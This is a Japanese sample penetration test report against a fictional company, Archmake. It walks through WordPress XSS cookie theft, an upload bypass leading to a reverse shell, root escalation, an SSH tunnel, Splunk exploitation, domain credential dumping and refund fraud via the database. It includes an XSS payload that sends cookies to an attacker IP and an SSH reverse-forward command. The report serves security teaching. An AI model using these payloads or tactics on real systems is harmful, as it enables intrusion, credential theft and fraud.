一つCOMの浸透試験報告

12075 ワード

前言


これはoffensive securityが発表した浸透試験報告のサンプルです.offensive securityはbacktrack-linuxです.org、exploit-db.comの創設者.

概要


Offensive securityはArchmakeの外部サイトへの浸透テストを許可された.テスト評価の方式は悪意のある攻撃者を模擬して会社に対して目的の明確な浸透を行う.初期の情報収集段階では、Archmake社はウェブサイトとメールサーバが1つしかないことが分かった.攻撃可能なターゲットは比較的少ない.
Webサイトのセキュリティ評価で、脆弱性のあるWordPressプラグインがインストールされていることがわかりました.この脆弱性をうまく利用し、WordPressの管理権限を取得した.その後、インタラクティブなshellを反発し、root権限に成功した.
ウェブサイトサーバの権限を取得した後、イントラネットへの浸透を開始し、試みを経て、ドメイン管理者の権限を取得することに成功した.その後、イントラネットのトポロジー分析を行い、イントラネットの会社データベースを発見し、制御に成功した.このデータベースには、注文情報と顧客資料だけでなく、取引に関する情報も格納されている.このシステムを制御ことで、攻撃者は直接現金を引き出すことができる.

テストプロセス


WordPressの脆弱性の利用


ターゲットシステムを収集する時、ウェブサイトはwordpress 3.3.1を採用して構築したことを発見した.WordPressのコード監査を行いながら、WPScanでターゲットサイトをスキャンし、安全ではないプラグインを発見しました.
./wpscan.rb --url www.Archmake.com --enumerate p
____________________________________________________
__
_______
_____
\ \ / / __ \ / ____| \ \ /\ / /| |__) | (___
___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| v1.1 WordPress Security Scanner by ethicalhack3r.co.uk Sponsored by the RandomStorm Open Source Initiative _____________________________________________________ | URL: http://www.Archmake.com/ | Started on Tue Jan 24 18:44:49 2012 [!] The WordPress theme in use is called "twentyeleven". [!] The WordPress "http://www.Archmake.com/readme.html" file exists. [!] WordPress version 3.3.1 identified from meta generator. [+] Enumerating installed plugins... Checking for 2892 total plugins... 100% complete. [+] We found 2 plugins: Name: relevanssi Location: http://www.Archmake.com/wp-content/plugins/relevanssi/ Directory listing enabled? Yes. Name: relevanssi Location: http://www.Archmake.com/wp-content/plugins/relevanssi/ Directory listing enabled? Yes. [+] There were 1 vulnerabilities identified from the plugin names: [!] Relevanssi 2.7.2 WordPress Plugin Stored XSS Vulnerability * Reference: http://www.exploit-db.com/exploits/16233/ [+] Finished at Tue Jan 24 18:45:30 2012 

WPScanスキャンの結果が示すように、このRelevanssiプラグインにはXSSホールがある.この脆弱性を正常に利用すると、管理者のcookiesを盗むことができます.
まず、ArchmakeのWebサイトの検索バーに次のコードを挿入します.
<script>new Image().src="http://172.16.40.204/p.php?cookie="+document.cookie; </script>

 
WordPress管理者がバックグラウンド管理パネルの「User Searches」をクリックすると、スクリプトが実行されます.
リモート攻撃者のサーバで管理者のcookieを受信することができる.
GET /p.php?cookie=wordpress_ed8a4e5dd813c7b5d262130b08955a6a=admin%7C1328098588 %7C72c3335ad1e783b75bb3d8cf9e85fc9c;%20wp-settings-time- 1=1327925790;%20wordpress_test_cookie=WP+Cookie+check;%20wordpress_logged_i
n_ed8a4e5dd813c7b5d262130b08955a6a=admin%7C1328098588%7Caf1bcabca49191de76e c45e798ae5ada;%20wp-settings- 1=editor%3Dhtml;%20wordpress_ed8a4e5dd813c7b5d262130b08955a6a=admin%7C13275 99469%7C3ada64cf8e918c9a4bf148896181fc63;%20wordpress_logged_in_ed8a4e5dd81 3c7b5d262130b08955a6a=admin HTTP/1.1

次にfirefoxのクッキーエディタを使用して、クッキーを変更します.これにより、WordPressのログイン機能を迂回して、管理者セッションを取得することができる.
バックグラウンド管理者の権限を取得すると、ステーション全体の権限を得るには多くの方法がある.最も直接的なのはWordPressのテーマファイルを修正することです.

WordPressプラグイン任意のファイルタイプアップロード


WordPressシステムの権限を取得しました.次に、ホワイトボックスで監査して、他の脆弱性が攻撃者に利用される可能性があるかどうかを確認することができます.ここではWordPressがインストールしたプラグインを監査しました.
プラグインを監査するとき、ユーザーがアイコンをアップロードできるプラグインを見つけた.
このプラグインのソースコードを監査することにより、アップロードファイルのタイプを正規表現で制御することが分かった.
上記のアップロードファイルをチェックするためのコードには欠陥がある.この正則は文字列を簡単にフィルタリングし、ファイルタイプを検出する唯一の手段である.それは「Myimage」のようにしか許されないことを意味しています.png」というファイル名.でも"png.php」のようなファイル名は、正規の検出によりサーバにアップロードすることにも成功する.
後続の攻撃をサーバにアップロードするには多くの方法がある(前述したように、トピックの変更など).しかし、私たちはこの脆弱性を採用してアップロードすることにしました.1つは新しい脆弱性を検証することができ、2つはこのようにサーバに対する変更を最小化することである.
このアップロードプロセスが確かに私たちの分析と同じであることを検証するために、まず標準的な画像ファイルをテストとしてアップロードした.そして、構成されたリバウンドshellのphpスクリプトをアップロードしました.
このスクリプトを実行すると、攻撃者が制御するリモートサーバ上でインタラクティブなshell環境を得ることができる.このshellはwebserverの権限で実行されるので、低い権限しかありません.

Linuxローカル権限の向上


ターゲットサイトサーバのインタラクティブshellを取得すると、次のターゲットは自然にシステムのroot権限を取得する.
ターゲット・システムに関する情報は、Linuxバージョン2.6.32-5-686(Debian 2.6.32-38)です[email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Mon Oct 3 04:15:24 UTC 2011
資料の検索とテストを経て、このシステムにはrace conditionの欠陥があることが分かった.まず、アバターをアップロードするプラグインを通じて利用コードをアップロードした.
解凍、実行権限を加え、利用プログラムを実行し、root権限を正常に取得した.
現在、このウェブサイトのサーバーは悪意のある攻撃者として内網浸透のジャンプボードを行うことができるようになった.もしこれが本当の攻撃であれば、このウェブサイトのサーバー上のデータはもう信用できません.攻撃者は勝手に制御を変更することができるからです.

長期駐在サーバ


サーバの管理権限を取得すると、後続の浸透を行うためにより安定した接続を維持する必要がある.
このサーバの検査により、sshサービスが22000ポートで実行することが分かった.私たちはsshを使用してイントラネットポートを転送することにした.これは便利であり、サーバに追加のセキュリティリスクをもたらすことはない.
システムへの変更を最小限に抑えるために、アカウントを追加したり、アカウントのパスワードを変更したりしていません.SSHの鍵ベースの認証方式を採用する.
を前提として私たちが自分で制御するSSHサーバー、sshは53ポートにあります.以下のコマンドを実行することにより、ウェブサーバの22000ポートを転送する.
ssh -o 'StrictHostKeyChecking no' -R 22000:127.0.0.1:22000 -p 53 172.16.40.204 ping 127.0.0.1

また、攻撃者がターゲットネットワーク内のサービスにアクセスできるようにSOCKSエージェントを作成する必要がある.

脆弱性のあるsplunk


制御されたウェブサイトのサーバ構成を分析すると、イントラネットセグメント10.10.0が発見された.x.このイントラネットセグメントをスキャン分析し、splunkサーバを発見した.
splunkが4.2.5未満のバージョンには、高危険なリモートコマンド実行脆弱性がある.先に紹介したSOCKSエージェントにより,Splunkのwebインタフェースにアクセスした.バージョンが4.2.2であることが確認されました
Windows上でsplunkは一般的にSYSTEM権限で実行される.管理者ユーザーを直接追加することができます
このコマンド実行の脆弱性は表示されず、リモートデスクトップにログインすることでコマンドが正常に実行されたかどうかを検証するしかない.
私たちはまたイントラネットのwinサーバーを制御しました.

ドメイン管理権限の取得


イントラネットが浸透し、windowsホストです.次に、ドメイン管理者の権限を取得するのが一般的です.WCE(Windows Credential Editor)をsplunkサーバにアップロードしました.WCEは、メモリから認証情報を読み出す、これらの認証情報を利用して有用なことをすることができる.
splunkサーバ上でwceを実行する.exe、メモリからドメイン管理者のtokenを正常に取得しました.
これらの認証情報があれば、ドメイン管理者権限のshellを簡単に取得することができる.
そしてこのshellを利用して端末管理(Microsoft Management Console)を実行する.攻撃者はドメインの制御権限を得たか、得た.

データベースデータの利用


splunkサーバを制御すると、そのローカルファイルシステムでcsvファイルが発見された.
分析により、これはデータベースから導出された顧客情報のファイルであることが分かった.
明らかにexportcsvです.exeというプログラムがエクスポートしたデータベース情報.ODでこのプログラムを分析したところ、MS SQL serverに直結していることが分かった.接続する認証情報はプログラムに直接符号化されている.
取得する認証情報をデータベースに直接接続することで、そのデータベースのすべてのデータを制御する権限を得ることができる.
データベースのデータをエクスポートして分析する.ユーザーID、名前、メール、電話、暗号化されたパスワード、その他の情報を含む多くの顧客の情報が発見された.
パスワードはmd 5で暗号化する.これらのhashを私たちが維持している暗号解読器にインポートして解読します.合計1000個のhashを導入し、22秒後、996個の解読に成功した.(话外音:これは何のリズムですか....)

Archmakeの取引を制御する


データベースを深く分析するとき、多くのテーブルの内容が定期的に更新されていることに気づきました.これらの表のモニタリングと分析により、これは注文に関する表であることが分かった.これらの注文の情報は定期的にデータベースに更新されます.しばらくすると、「Category」フィールドによって異なる処理が行われる.
データベースのモニタリングとデータベースにテストデータを追加し、Categoriesフィールドの意味をまとめます.
取引のタイプが確定すると、関連する情報がこの表に挿入されます.有効なユーザIDを挿入すると,ユーザ情報カード情報は攻撃者が自分で制御するクレジットカードに記入し,取引タイプは4(4は返金)を選択することが分かった.攻撃者のクレジットカード口座に任意の金額のお金を返金することができます.これは制御可能な環境で実証されている.